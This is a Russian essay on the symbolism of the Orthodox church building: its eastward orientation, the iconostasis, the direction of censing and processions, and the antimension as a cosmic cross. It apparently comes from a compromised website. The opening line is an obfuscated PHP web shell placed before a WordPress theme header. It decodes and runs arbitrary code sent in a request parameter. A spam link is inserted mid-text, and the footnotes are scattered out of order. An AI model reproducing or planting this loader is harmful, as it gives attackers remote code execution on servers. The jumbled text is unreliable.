nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

В средостении пространства и времени


Встреча человека с божеством или какое-либо другое чудесное собы­тие во все времена происходили в определенных, конкретных местах. В дальнейшем эти места чудесных встреч или событий, становясь историей народа, обрастали памятными знаками, алтарями-жертвенниками, а позднее и храмами. Так места, где происходили эти события-встречи, вначале связанные с личными, индивидуальными откровениями-явлениями, стали народным — общественным — достоянием, в свою очередь формируя сознание и отношение к миру самого народа.

http://buildmate.com.sg/product/pvc-corrugated-sheet/?product_tag= Большинство древних храмов и культовых сооружений человекоподобны, да это и не удивительно; ведь в сознании древнего человека весь мир — живой, а человек — микрокосм и мера всех вещей. Древ­неегипетские пирамиды, когда они были еще облицованы гранитом, имели на своих плоскостях изображение глаза и назывались «Ра, смотрящий на Египет». То же изображение встречалось иногда и на буддийских ступах, что делало их похожими на выглядывающие из-под земли головы. А древнегреческие храмы, окруженные перистилем колонн-куросов, напоминали команду молодых воинов-гребцов, поднявших над собой, как перевернутую лодку, кровлю храма. Более же поздние по времени мусульманские мечети, по словам Райта, по­ходят на правоверного в голубом куполе-тюрбане и халате до пят…

Но, пожалуй, человекоподобное всех других сооружений православный храм византийской традиции, вобравший и переработавший римское, греческое и малоазийское архитектурное наследие. Появившийся на Руси в Х веке образец такого храма вполне можно рассматривать как выражение в православной архитектуре и Богослужении системы уже выработанных и устоявшихся к тому времени в Ви­зантии религиозных взглядов и отношений.

О храме как статичной модели мира, сориентированной по сторонам света, много писалось. Но интереснее всего как, каким образом человек, находящийся в храме и участвующий в Богослужении, переживает и открывает весь Божий мир и Самого Господа для себя лично. Насколько «храмовое действо» (термин о. Павла Флоренского), интерьер и сам внешний и внутренний образ храма помогают верующему человеку в этом открытии.

Появление русской церквушки в любом пейзаже, даже калифорнийском или рериховском, гималайском, сразу делает его своим, узнаваемым, а ее отсутствие, даже при совершенной схожести ландшафта, лишает пейзаж национального характера. В русском сознании силуэт церкви с луковкой купола и восьмиконечным крестом оказывается знаком, оберегом; для такого сознания храм — это воин Христов, духовный защитник, освятивший своим присутствием русскую землю, без которого она, русская земля, становится безличной и ничейной. Издалека русская церковь и напоминает воина — в шлеме, до пояса вросшего в землю и именно ей, этой земле, принадлежащего. Очеловечивание храма отразилось и в языке, где купол церкви обычно назывался главой, поэтому барабан соответственно оказывается шеей, а скаты кровли плечами храма-воина. И в горизонтальном плане крестово-купольного храма можно усмотреть человека, раскинувшего руки и лежащего головой на восток.

Любой взгляд вначале воспринимает наружные формы предметов, скользит по поверхности, ощупывает объемы, и только потом может представить внутреннее пространство, содержание предмета. Проникая снаружи вовнутрь, человек переводит возникший образ в воспоминание, впечатление. Чем сильнее и острее воспоминания, чем больше оттенков и своеобразия в них, тем глубже и реальнее запечатлевшийся образ.

Так и здание церкви воспринимается не только снаружи, отдельным внешним объемом. Человек всегда помнит, что церковь имеет внутреннее пространство, помещение для Богослужения. Внутри церкви взгляд человека оказывается направлен изнутри наружу и скользит по поверхности интерьера, часто не проникая в смысл окружающего его украшенного пространства и происходящего «действа». На большинство людей, как и на послов князя Владимира в константинопольской Софии, безотказно действует пышное убранство русских церквей (если оно сохранилось). Но и в убогой, пустой, даже разрушенной церкви человека охватывает напряженное уважение, осторожность, как сказали бы раньше,— «священный трепет», благоговение, вызванное предназначенностью строения.’ Ведь кроме поверхностных, видимых и слышимых, красот и истин существуют особые законы и правила, которые превращают любую церковь в космос, делают ее подобной вселенной ‘ (Интересно, что появившиеся в XVI—XVII веках синие со звезда­ми купола имели прямую аналогию с внешним, видимым, небом).

Как известно, православный храм сориентирован на восток и, войдя в него, человек оказывается стоящим на земной параллели. Трансепт и иконостас в храме соответствуют направлению меридиана. Вход в церковь обычно бывает с запада, алтарь расположен на востоке, а трансепт, перпендикулярный оси «запад-восток»,— на оси «юг-север».

На центральных, царских вратах иконостаса обычно изображается Благовещение, день праздника которого приходится на 25 марта старого стиля, когда солнце после весеннего равноденствия начинает переходить небесный экватор, тесня на север тьму и холод, осознаваемые человеком как знаки смерти. В день праздника, утверждающего появившийся смысл жизни, происходит чудесное совпадение, соединение солнечного восхода и направления храма 3.

Соответственно запад в церковной практике отождествляется со страной мрака, холода, смерти 4: при крещении, во время чина оглашения, новообращенного, «отрицающегося от сатаны и всех дел его», поставляют лицом на запад. После отказа от сатаны и плевка в его сторону, на запад, оглашенного поворачивают лицом на восток и он «сочетовается Христу», вступает в духовный завет со Христом.

Но будущим для человека является не ближайшее время наступающей ночи, когда он спит, а завтрашний день. Поэтому, выбирая жизнь, человек оставляет за собой тьму и холод, из небытия, из прошлого, входит в церковь, устремляясь вперед, в будущее, на восток и … оказывается перед иконостасом. Дальнейшее продвижение его вперед ограничено алтарной преградой, ибо сказано, что «к Богу ногами не придешь». Даже нарушив запрет и ступив в алтарь, чело­век все равно не окажется «на востоке».

Остановка перед иконостасом, как на распутье дорог, вынуждает человека задуматься и сделать свой выбор в направлении пути по оси «юг-север». Для плоскостного сознания, мыслящего свое движение по поверхности, направление обычно выражается не в сторонах света, а в категориях «лево» — «право» 5.

Понятия «право» и «лево» с мифологических времен являются одними из самых очевидных и действенных в осмыслении человеком окружающего пространства и своего места в этом пространстве. Христианство почти на всех европейских языках утвердило за «правым» положительное направление, а за «левым»—путь «козлищ» («И поставит овец по правую Свою сторону, а козлов — по левую».— Мф. 25, 33), переводя проблему выбора сторон из пространственной в нравственную. Исходным здесь был прежде всего видимый путь солнца по небосклону, слева направо, по ходу часовой стрелки. Эта положительная протяженность, продолжительность зафиксированы, в частности, в продвижении ладьи Солнца в древнеегипетской Книге мертвых, в направлении устоявшейся европейской письменности, римском счете. Преимущество правого над левым установилось в церемониальных движениях и предстояниях, правилах ГАИ, порядке награждения на соревнованиях и т. д. 6

Последовательность движения в исполнении крестного знамения, несомненно, тоже связана с этими представлениями,. В крестном знамении, исполняемом католиками, армянами, коптами и яковитами, движение будет направлено от левого плеча к правому. Такой порядок движения объясним, он выражает изменение жизни от худшего к лучшему, от ветхой жизни к новой, от беса, сидящего на левом плече, к ангелу, сидящему на нравом.

Одним из разногласий со староверами было направление движения крестного хода вокруг церкви. С точки зрения староверов, при выходе из храма надо было двигаться в правую, ангельскую, сторону.

Поэтому движение получалось слева направо, по солнцу (посолонь). Нынешнее, никоновское, общепринятое хождение против солнца имеет другое и, думается, более глубокое обоснование: круговые движения, берущие начало в алтаре, можно представить передачей духовной идеи, благодати, от алтаря к верующим в храме, a oт них — к преобразующемуся миру.

Для западного, европейского, мира любимым праздником является Рождество, а для христиан восточных — Пасха. Первый утверждает радость от рождения в мир Спасителя (от худшего к лучшему, слева направо), другой — страдание, смерть и только потом — Воскресение, если мы всегда будем с Ним (движение от правого плеча к левому) 7.

Для характеристики этих движений можно добавить, что антифонные хоры в церкви, правый и левый клиросы, поют попеременно, вначале правый, главный, затем второй, левый и т. д. Обязательное при встрече верующих людей троекратное целование тоже происходит от правой щеки к левой и снова к правой.

Оказавшись перед алтарной преградой, человек всегда увидит местные иконы: слева от царских врат икону Богородицы с Младенцем Христом и справа образ Спасителя—Вседержителя. Значение Востока, дня весеннего равноденствия, огромно. Для древнего Египта это время разлива Нила, дарующего жизнь стране. С этого месяца начинались египетский, римский и древне­русский календари. По дню весен­него равноденствия корректируется первый месяц лунного иудейского календаря нисан-авив. Это месяц март, время солнечного торжества и пробуждения жизни. В старовер­ских святцах читаем: «Месяц март, нарицаемый березозоль. Имат 31 день. Сей первый есть в месяцех месяц, зане в онь начапобытный свет сей видимый сотворен бысть, и Адам, первый че­ловек, от Бога создан бысть, и вся тварь его ради, и в рай введен, преслушания же ради изгнан. (…) Сего ради от первого числа его, начало приемлют вси крузи, солнечный и лунный, и в руцеле-то. И високост, и равноденствие составляется в нем и прочая».

Речь идет об идеальной ориентации храма. В реальности все храмы ориентированы не совсем точно на восток.— Прим. ред.

Если представить себе эти местные привратные иконы в виде знаков временной последовательности, от прошлого к будущему, то сразу же открывается новый и непривычный смысл самих Святых врат и человеческого пред ними стояния.

Любые врата не только делят пространство на внутреннее и внешнее, но и ограничивают его по сторонам. Древнеегипетские колоссы становятся пропилеями на пути к храму. Хоровод столбов Стоунхенджа членил весь окоем на множество ворот. Два столба при входе в Иерусалимский храм, как и змеи кадуцея, символизировали собой противостояние, прение, диалектику. Но главной аркой, небесными вратами, кроме радуги (рай-дуги), для человека был дневной небо­склон, где началом дуги арки, первым столбом, был восход солнца, верхней перекладиной, замковым камнем — нахождение в зените, а вторым столбом — закат. Рождение, жизнь и смерть. Альфа и Омега.

Удивительным образом Богоматерь с Младенцем указывает на начало нашей эры, эры от Рождества Христова, а икона Вседержителя есть изображение Судии нашего будущего Страшного Суда. Перед нами в привычных образах явлены начало и конец человеческого времени. Правомерен вопрос, а что же в апогее? Присмотритесь. Над царскими вратами изображена либо сцена Евхаристии, причащение апостолов, либо Тайная Вечеря. Именно здесь и сейчас человеку дана максимальная возможность быть с Господом в таинстве Евхаристии. «Днесь, Сыне Божий, причастника мя прими»,— читается в молитве перед причащением. Днесь — значит теперь, сейчас, когда исповедник и священник стоят перед царскими вратами, в очень непростом месте — между личным временным движением вперед (ось «запад-восток») и исповедуемым нравственным движением (ось «север-юг») — в сосредоточении, в перекрестье осей, в стоянии между прошлым и будущим, между добром и злом, где уже не важны ни родная земля, ни собственная родословная, а лишь благодатное присутствие Духа Святаго.

Это ощущение креста отнюдь не субъективно. Если продлить его концы за стены храма, то мы получим точные, как на компасе, отметки сторон света. Причем церковь, сориентированная на Восток, как уже говорилось, соответствует своим направлением точке восхода солнца на праздник Благовещения.

Поперечная ось храма, соответствующая трансепту, своими концами тоже указывает на дни двунадесятых праздников. Если внутреннее пространство, площадь храма представить в виде часового циферблата и соответственно месяцам, то 3-м часам, восточному направлению оси, будет соответствовать 3-й месяц; 6-и часам, правой южной стороне,— летний солнцеворот. Рождество Иоанна Предтечи, Иванов день, 9-и часам, западному направлению оси, будет соответ­ствовать Рождество Богородицы, осеннее равноденствие 21 сентября, а 12-и часам, северной стороне,— зимний солнцеворот, Рождество Спасителя 25 декабря.

Как видим, годовой круг солнца в храме запечатлен пересекающимися осями, которые указывают на главные солнечные отметки,  являющиеся одновременно днями рождения, утверждением в нашей  земной жизни Спасителя, Богородицы и Иоанна Предтечи 8. Эти праздники придают новое значение основным солнечным отметкам,  космическим крестом утверждая основные углы вселенной: «Крест, хранитель всея вселенныя; Крест, красота Церкви; Крест, верных утверждение; Крест, ангелов слава и демонов язва» (служба светилен на Воздвижение). Но если радостные события пришествия в мир Спасителя утверждаются во всей вселенной, во всем мироздании, то и человеческая жизнь приобретает смысл в вечности. Человек уже не «заброшен в мир», но мир обожен, и полюса вселенной утверждены в новом качестве (На западном берегу Нила, на границе его разлива, а значит, на границе жизни и смерти, рас­полагались знаменитые египетские усыпальницы. Дальше была мертвая ливийская пустыня. И естественно, страна мертвых находилась там, куда исчезает, западает, дающее всем жизнь светило.

Интересно, что в англоязычных странах, благодаря названиям городских районов, сознание жителей сформировано соответственно сторонам света.

Правда, во многих странах движение письма происходит справа налево. Возможно, это объясняется принятым здесь лунным календарем. Депо в том, что серпик зарождающейся луны всегда появляется на закате солнца и с каждым новым восходом перемещается с запада на восток, справа налево, как бы утверждая свое время. Однако, несмотря на левостороннее письмо, у мусульман, как и у христиан, за правой стороной закрепилось положительное, ангельское, значение, а за левой отрицательное.

Вся жизнь человека в храме проходит как бы по солнечному кругу  по часовой стрелке. Чтобы окрестить человека, совершить первое церковное таинство, его вносят в церковь с западной стороны, и ребенок оказывается на северо-западе, так как в большинстве храмов комната для крещения, баптистерий, находится слева при входе. Исповедь может проходить в северном приделе; причастие, венчание, соборование по центру — на востоке. Рукоположение — на востоке, в алтаре, а отпевание, прощание с человеком, всегда происходит в южном приделе (если он есть). Затем совершившего свой жизненный путь человека выносят из храма западными дверями ногами вперед. Круг жизни по часовой стрелке, по солнцу, пройден.

Но в храме существует и другое направление движения, которое условно можно назвать сакральным. Оно возникает во время всякого Богослужения в алтаре, когда диакон или священник после начального возгласа начинает каждение вокруг престола, против часовой стрелки.

Особенно примечательно каждение на шестом часу, перед литургией. «…И кадит святую трапезу кругом крестовидно, глаголя в себе: (с запада) Во гробе плотски, (с юга) во аде же с душею яко Бог, (с востока) в рай же с разбойником, (с севера) и на престоле был еси Христе со Отцем и Духом, вся исполняй неописанный». Как видно из текста,— престол в алтаре одновременно оказывается гробом, адом, раем и престолом Всевышнего.

После каждения алтаря происходит каждение икон иконостаса на солее. Это — «поперечное» каждение: вначале в южную сторону, а затем в северную. Затем положено опуститься в храм и покадить центральную, праздничную, посвященную настоящему дню икону. Только после этого благословения дня свыше происходит каждение всего внутреннего пространства церкви, начиная от икон, ограждающих амвон, слева направо, по всему периметру с возвращением обратно в алтарь.

Эти два круговых разнонаправленных движения можно представить в виде цифры 8, пересеченной алтарной преградой, знака бесконечности, соединяющего два разных мира в проходе линии царских врат, или древнеегипетским ключом-крестом вечной жизни — ангхом. Создается впечатление, что движение меньшей окружности приводит во вращение большую окружность — орбиту основного объема храма — в противоположном направлении, что несколько напоминает известную схему кровообращения человека с пересечением верхнего и нижнего кругов в сердце.

Известно, что правое полушарие мозга человека, управляющее левой половиной тела, хранит воспоминания прошлого, «отвечает» за прошлое (икона Богоматери с Младенцем, «начало эры», прошлое, находится слева), а левое полушарие, управляющее правой половиной тела, «отвечает» за будущее (икона Вседержителя, Судии будущего Суда, находится справа от врат). Так же иксообразно пресекаются зрительные нервы человека 9. Поэтому можно предположить, что, двигаясь в направлении часовой стрелки, по солнцу, человек совершает движение вдоль направления времени, продлевая, увеличивая часы и дни своей земной жизни, против же часовой стрелки, справа налево, вопреки обычной хронологии совершается сакральное движение. Оно как бы возвращает человека обратно, против течения времени, давая ему возможность исправить ошибки и повторить пройденный отрезок жизни с новыми знаниями и в новом качестве. Не зря во время исполнения всех таинств даже внутри основного объема храма движение происходит справа налево 10. На православном восьмиконечном кресте-распятии голова Спасителя всегда склонена к Его правому плечу. Справа от конца средней горизонтальной перекладины креста изображено солнце,

7 Нужно заметить, что благословляют народ, стоя с ним лицом к лицу, православные и католические священники одинаково, совершая горизонтальное движение слева направо.

Во втором ряду иконостаса эти три образа составляют ядро деисусного чина.

О противоположном симметричном движении времени писал известный астрофизик Н. А. Козырев.

Направленность движения слева направо и наоборот можно представить одним и тем же движением, происходящим внутри и снаружи одного и того же объема. Так, надпись в барабане купола храма будет читаться слева направо, но по часовой стрелке внутри и против часовой стрел­ки — снаружи храма, хотя порядок чтения в обоих случаях один и тот же.

слева — луна, за спиной — городская стена Иерусалима. Если попробовать оценить крест по степени значимости разделенных им четвертей, то, несомненно, верхняя правая четверть креста, где склонена голова Спасителя, окажется и положительной. Подобное же происходит и при благословении у земного архиерея: вначале целуется правая благословляющая рука, затем правая щека владыки, а потом снова правая рука “.

Но смотреть на крест можно по-разному: как это принято в геральдике, из-за щита, с креста, или стоя перед щитом, крестом. Основная проблема в том: Кто принимается за систему отсчета, кто субъект, а что становится объектом. Это схоже с прямой и обратной перспективой в живописи. Кто главный: человек, глядящий на уменьшающийся к горизонту мир, или Мир Божий, где человек хотя и главная, но все же часть Божественного Промысла.

Светила, изображенные по сторонам от горизонтальной перекладины креста, зачастую воспринимаются как свидетели страданий Господа во время казни, но они же есть и свидетели второго пришествия Господа во Славе. («И вдруг, после скорби дней тех, солнце померкнет, и луна не даст света своего, и звезды спадут с неба, и силы небесные поколеблются; Тогда явится знамение Сына Человеческого на небе [святые отцы считают это знамение изображением креста.—о. Г. М.]; и тогда восплачутся все племена земные и увидят Сына Человеческого, грядущего на облаках небесных с силою и славою великою»,— Мф. 24.29,30».)

Годовой Богослужебный круг, легко сравним с Солнцем, Луной и Землей. Печальную службу Великого поста, когда церковь и священнослужители облачаются в темные или черно-белые одежды, можно сравнить с холодной Луной; службу по Цветной Триоди, от Пасхи до Троицы — с радостным и животворящим Солнцем, в это время церковь и служащие переодеваются в золотистые, оранжевые и белые одежды; с Землею же сопоставима рядовая, самая длительная по времени (32 недели) служба от Троицы до начала следующего Великого поста,. Сравнение Постной и Цветной триоди с Солнцем и Луной во многом возникает из-за их равновеликости: длительность поста и мясоеда одинаковы, так же как и размеры обоих светил, наблюдаемых с земли и ошибочно кажущихся равновеликими 1г.

Расположение светил, как на русском восьмиконечном кресте,— солнца справа, а луны слева от Спасителя можно увидеть только днем в период стареющей, убывающей, исчезающей луны ‘3.

Священник, после чтения Евангелия на литургии, поставляет его вертикально на престоле. Евангелие стоит справа перед ним, и на переплете, как на царских вратах, изображены евангелисты, тетраморф, но по центру книги; вместо Благовещения, всегда изображается Распятие или Воскресение Христово (раньше — Сошествие во ад). Если престол является местом нахождения Бога Живаго (не зря перед престолом никому, кроме рукоположенных священнослужителей, находиться не разрешается, зато можно свободно перемещаться за престолом, как за спиной владыки), то Евангелие будет находиться с левой стороны подножия этого престола. Такое «неблагоприятное», левостороннее, предстояние Евангелия, вероятно, имеет другую природу, другой смысл.

У староверов и за границей (а до недавнего времени и в наших церквах) мужчины стоят соответственно иконе Спасителя с правой, южной, стороны, а женщины, соответственно иконе Богоматери, с левой, северной, стороны. Таким же образом во время венчания поставляются жених и невеста.

При сослужении архиерею или настоятелю, священники, как при встрече, так и в алтаре, стоят в порядке рукоположения, не меняя своей «полярности» при проходе сквозь царские врата. (С южной стороны, ближе всех к архиерею или настоятелю, стоит старший по рукоположению, с северной стороны, слева, следующий по старшинству, и так далее, сохраняя последовательность в старшинстве, нечетные и четные друг за другом.) Такое постоянство и неизменность в расстановке священнослужителей на праздничной службе, как внутри храма, так и в алтаре, может объясняться только единством пространства, которое возникает благодаря присутствию земного владыки, архиерея (или в его отсутствие — настоятеля храма). Царское место (богато украшенное кресло, почти что трон, оставшееся в некоторых храмах) обычно находится перед местной иконой Спасителя, а кресло для отдыха архиерея, на которое он присаживается в алтаре,— прямо за той же иконой Вседержителя. Таким образом, несмотря на их разнозначность, и в алтаре, и в храме как бы продолжается общее пространство, обозначенное иконами Спасителя и Богоматери.

” Думается, это подтверждается и Декартовой системой координат, иначе трудно объяснить существование только одной положительной четверти — при всем безразличии математики к положительным и отрицательным числам. Даже условное направление движения электрического тока происходит от плюса к минусу, как истекающая с небес на землю молния.

Такая намеренная подмена значимости светил произошла в одно из весенних равноденствий в древнем Египте, когда иудеи, борясь с рабством, заменили главное божество страны Солнце Луной. Только с торжеством христианства произошло возвращение Солнца (Солнца Правды) и соответственно солнечного календаря.

Во франкмасонской символике встречается противоположное расположение светил, которое соответствует времени молодой, растущей луны.

Раскрывая во время сугубой ектений антиминс, священник сперва открывает правую, южную, сторону антиминса, затем левую, северную, и при поминании имени своего, местного, земного, епархиального архиерея — нижнюю, западную, земную часть антиминса. И только в конце литургии оглашенных, на ектений о них, на словах:

«Открыет им Евангелие правды» — открывается, распахивается верхняя, восточная, небесная часть антиминса. Эта последовательность в раскрывании плата не соответствует привычному «сотворению креста».

Во всех других случаях начертания креста можно провести аналогии с человеком, лежащим головой на восток, крестящимся, но повернутым лицом то к небу, то к земле ‘4.

Такое припадение лицом вниз было принято в древней церкви: в западной верующие простирались «крыжом», а в восточной в покаянном метании падали на лице свое. Только в конце службы, закрывая, складывая антиминс в обратном порядке, мы получим то привычное начертание креста, которое теперь возвращается само собой, печатью крестного знамения запирая антиминс до следующей литургии.

По углам раскрытого антиминса изображены все те же евангелисты, что благовествуют на восточных, царских вратах горний мир алтаря, а на окладе Евангелия указуют на Благодать Священного писания. После раскрытия антиминса они как бы объявляют о Благой Вести непосредственно здесь, на престоле.

После Великого Входа и поставления Святых Даров в алтаре на антиминс, после взаимного призывания Святаго Духа на священно­служителей, после Верую, Милости Мира и первой тайной молитвы священник или диакон, сняв с дискоса звездицу, «творит креста образ верху его», сверху вниз, с востока на запад и с севера на юг, при этом произнося: «Победную песнь поюще, вопиюще, взывающе и глаголюще». Причем каждое деепричастие здесь соответствует крайним точкам изображаемого священником или диаконом на дискосе креста. После чего звездица складывается и полагается в верхней центральной части антиминса, ножками на восток.

Выполнив свое назначение — утилитарное (сохранив в неприкосновенности расставленные на дискосе куб Агнца и частицы из остальных просфор) и символическое (указав путь Вифлеемской звезды), звездица опускается сверху вниз, своим встречным движением как бы приподнимая дискос вверх, над собой, над звездами, таким образом, открывая для происходящих событий новый уровень, новое небо.

Если возглас «Победную песнь…» приложить к тетраморфу на антиминсе, то становится понятно, что поющим, как птица, может быть только орел, вопиющим, испускающим жалобный вопль — телец, взывающим, громко рыкающим — лев и глаголющим — ангел, т. е. это символы евангелистов. Последовательность в их назывании оказывается обратной порядку расположения апостольских благовествований в Евангелии (апостолы Иоанн, Лука, Марк, Матфей), то же  является и в обратном порядке изображения креста при раскрытии антиминса.

Если проследить порядок расположения апостольских изображений на переплете Евангелия по часовой стрелке от правого верхнего до левого верхнего угла, то можно убедиться все в той же самой обратной последовательности (от апостола Иоанна до апостола Матфея). Для наглядности эти изображения можно представить на парусах храма. Тогда движение солнца будет соответствовать обратной последовательности (от апостола Иоанна до апостола Матфея). Последовательность, возникающая в порядке чтения Евангелия (от апостола Матфея до апостола Иоанна) будет движением против солнца, против часовой стрелки, против движения времени. Действительно, Благая Весть избавляет человека от уз смерти, от роковой неизбежности времени, которые царят в материальном мире 5.

Если церковь каменная и крестово-купольная, то выше парусов всегда будет находиться барабан, в котором (при наличии места) пониже ангелов, поддерживающих купол с изображением Пантократора, изображаются праведные ветхозаветные праотцы. Так что если встать по центру храма и смотреть снизу вверх, от близких нам по времени святых, изображенных на церковных столпах, к парусам, к границе Нового и Ветхого заветов, то мы все дальше и дальше будем уходить в глубь веков, к сотворению мира, и … неожиданно окажемся в будущем, на Страшном Суде.

Отец Павел Флоренский в «Иконостасе» писал о «выворачиваемости» времени, и, действительно, для христианского сознания каждый день земного существования воспринимается последним, вместе с тем человек продолжает жить, сознавая при этом, что иначе, чем с Господом, в вечности ему делать нечего.

В оккупьте тетраморф рассматривается не в связи с видением пророка Иезикииля (I, 10), а как составные части позднеэллинского сфинкса. Именно со сфинксом со времен Эдипа связывали проблему времени, которая и теперь возникает перед каждым живущим: почему? зачем мы живем? И благодаря храму может решаться — со Христом, вечно.

Правда, это изображение Вседержителя в куполе храма можно представить еще и воскресным днем, который для иудейского календаря является понедельником, днем первым, началом творения, началом обычной круговерти жизни, следующим днем после дня покоя. Православное сознание этот день недели воспринимает как «день восьмой», когда в наш мир, благодаря Воскресению, между последним и первым днем недели проглянула Сама Вечность. (Если нет смерти, то нет и времени, нет хронологии.) Поэтому изображение Пантократора в куполе может восприниматься как первый и как последний день в творении земной истории: «Имже вся быша (в нач ле акта творения.—о. Г. М.) … и паки грядущего со славою судити живым и мертвым. Его же Царствию не будет конца» (Символ веры. Ст. 2 и 7),— Альфой и Омегой.

На воскресной утрени, после чтения, Евангелие выносится внутрь храма на поклонение и целование, в это время поется «Воскресение Христово…», что каждый раз уподобляет эту службу Пасхальной. Ведь Евангелие для всеобщего целования лежит на плащанице только со Страстной Пятницы до начала Пасхальной, Воскресной утрени, когда церковь, все ее внутреннее пространство, становится и гробом, и адом. Затем, когда все верующие выходят на крестный ход, с обязательными впереди идущими не клириками, а мирянами-мироносицами, храм остается совершенно пустым, пустым, как гроб после Воскресения Господа. Поэтому священник после крестного хода, перед закрытыми дверьми храма, как перед престолом (раз весь храм — Гроб Господень), возглашает начало утрени:

«Слава Святей и Единосущной…», и священники поют с первый раз, как когда-то Его ученики, исповедуя и утверждая сакральную, а не физическую пустоту храмового пространства: «Христос воскресе из мертвых…».

Так же и Евангелие, вынесенное для целования на воскресной или праздничной утрени и положенное на аналое посреди церкви, образует пространство благовествования — от апостолов, изображенных на окладе Евангелия, до апостолов на парусах храма. Царские врата открыты, евангелисты на них не видны, престол без Евангелия, и антиминс закрыт, других благовествующих изображений-ориентиров нет, и основное в это время действие Елеопомазания — присоединение верных к единому Божиему духовному пространству — происходит посреди храма. Хотя церковь Апокалипсис в Богослужении и не использует, но «печать на челе» ставится именно по той самой Божественной программе (От. 7, 3).

Но вернемся к литургии. После Великого Входа дискос и потир поставляются в алтаре на раскрытом антиминсе, слева направо. Со времени Нового Завета в христианской церкви в первую очередь обращаются к Святому Хлебу, Телу Христову, бескровной жертве. Это выражается и в постановке на жертвеннике и престоле дискоса и потира слева направо, и в последовательности обращений: «Приимите, ядите. Сие есть Тело Мое…» и только затем: «Пиитеот нея вси, сия есть Кровь Моя…»

При последующем возгласе: «Твоя от Твоих Тебе приносяще о всех и за вся» — священник берет с северной стороны престола дискос правой рукой, а потир левой, отчего его руки перекрещиваются (!). Приподнимая над престолом, над антиминсом, над звездицею (выше звезд) Святые Дары, священник, благодаря тайной молитве, понимает, что в момент возношения происходит удивительное сосредоточение всех и вся в одну временную точку и перенос их в запредельный мир. Священник в тайной молитве поминает главные трагические евангельские события, которые перешли, переросли в вечную радость: «Крест, Гроб, тридневное Воскресение, на небеса восхождение, одесную сидение. Второе и славное паки пришествие». В это же время на дискосе в виде вынутых из просфор частиц вместе с Агнцем превозносятся над престолом все, кто были упомянуты на Проскомидии (каждой частице соответствовало одно или несколько имен). Все вместе, живые и мертвые, все вместе с Господом, с Его Пречистой Матерью и Предтечей Господним Иоанном, со всеми от века угодниками Божиими, возносятся выше престола, выше небес, в Вечность.

Так что и третье, вертикальное, направление, как и два предыдущих — прямо вперед на восток, слева направо на юг,— оказываются направлениями в будущее, в вечное бытие: «…жизни будущаго века. Аминь» (Символ Веры. Ст. 12.).

Идея обожения мира — не в языческом, а в христианском представлении — в движении от алтаря к храму, от храма к миру могла успешно воплотиться во второй половине XVII века. Под Москвой, на реке Истре, патриарх Никон задумал построить подобие Иерусалимского Воскресенского храма. Новый Иерусалим, решив поставить в нем 365 престолов, чтобы служить каждый день на новом в течение всего года 6. Такое насыщение храма престолами наводит на мысль, что не только алтарная часть храма, не только его основ­ной объем, но даже все закоулки, «все уды и чресла» — все оказалось бы освящено, обожено 17 …

Иудеи считали Иерусалим центром мира (древние греки — Дельфы, индусы—гору Меру). Вообще всякий народ, если он состоялся, имеет свою святыню или сердцевину. Несомненно, избранность географическая, расположение в центре мира, на оси мира, делают значимыми, «центровыми», и принадлежащих этой области людей. Тем более «центричность» историческая 8, которая требует упорства и постоянного подтверждения своей правоты. Она хорошо выражена 12-м стихом 73-го псалма: «Боже, царь мой от века, устрояющий спасение посреди земли!» (На церковнославянском: «Бог же царь наш прежде века, содела спасение посреде земли».)

Почти те же самые слова звучат для христиан в самый печальный день года — Великий Пяток, Страстную Пятницу, день Распятия Спасителя, когда церковь хронологически последовательно вспоминает события этого дня.

На шестом часу, в полдень (по нашему времени это соответствует 12 часам дня, когда солнце находится в апогее), в торжественной и скорбной обстановке читается тропарь 2-го гласа: «Спасение соделал еси посреде земли Христе Боже, на кресте пречистеи руце Твои простерл еси, собирая вся языки, зовущия: Господи, слава Тебе».

Если бы эти слова произносились только один раз в год, они, несомненно, указывали бы на географическую центричность события, правда, происшедшую вне стен «жилища мира» (слово Иерусалим может быть переведено и как «основание»). Но слова эти повторяются на том же шестом часу в заупокойной, службе («Аще же поется Аллилуиа…») и на шестом часу во весь Великий пост 19.

В дальнейшем, в дни рядовых служб, по пятницам, после чтения Апостола и перед чтением Евангелия при пении Аллилуиа читаются два стиха из 73 псалма, 2-й и 12-й. Первый: «Помяни сонм Твой, его же стяжал еси исперва» и второй, уже известный: «Бог же царь наш…» *.

Эти же стихи без изменения произносятся 14(27) сентября в праздник Воздвижения Честнаго и Животворящаго Креста Господня; в третье воскресенье, в середине поста, в неделю крестопоклонную, когда крест для укрепления верующих и поклонения выносится на середину церкви, и в среду Преполовения (в преполовение ветхозаветного праздника Пятидесятницы, когда Господь в 3-й своей евангельской проповеди открыл Свою божественную силу и славу Мес­сии), в праздник, когда в обязательном порядке происходит освящение воды, всегда осуществляемое при помощи креста и под пение тропаря: «Спаси Господи, люди Твоя, и благослови достояние Твое, победы насопротивные даруя, и Твое сохраняя крестом Твоим жи­тельство», священник «взем честный крест, благословляет воды трижды, крестообразно низводя и возводя право» (прямо, правильно) .

Интересно, что праздник Всемирного Воздвижения Креста празднуется на другой день после Обновления храма Воскресения Христова в Иерусалиме в 335 году. Хотя новый, обновленный. Иерусалимский храм и занял место бывшего ветхозаветного Иерусалимского храма, где, благодаря постоянным жертвоприношениям, поддерживалась связь с Богом, по предстал он в новом качестве: не единственным местом пребывания Господа, а всего лишь местом, свидетельствующим о мучениях и Воскресении Господнем. Поэтому хотя Животворящий Крест Господень и является единственной самостоятельной чудотворной святыней, но любой другой крест, даже знаком, изображением своим, по сути своей равен тому самому первому Кресту Распятия, и любое место, осененное любым крестом, может стать центром мира и местом нашего спасения.

Интересно заметить, что двор главной мусульманской мечети при Каабе составляют 360 каменных колонн, выделанных из бывших 360 каждодневных идолов лунного года.

17 К сожалению, этот естественный процесс сакрализации, претворения мира был насильственно остановлен реформами Петра I, а мятежному патриарху при его низвержении в числе прочих преступлений было вменено и строительство второго Иерусалимского храма.

«Все дороги ведут в Рим…» И семь холмов Рима кочуют из Константинополя в Па­риж, Москву и т. Д.

19 В первом случае, чтобы уподобить судьбы усопших судьбе Спасителя, а во вто­ром, чтобы перед мысленным взором постящихся прихожан, вечным примером, вновь и вновь вознести Победительные Крестные страдания Господа нашего Иисуса Христа.

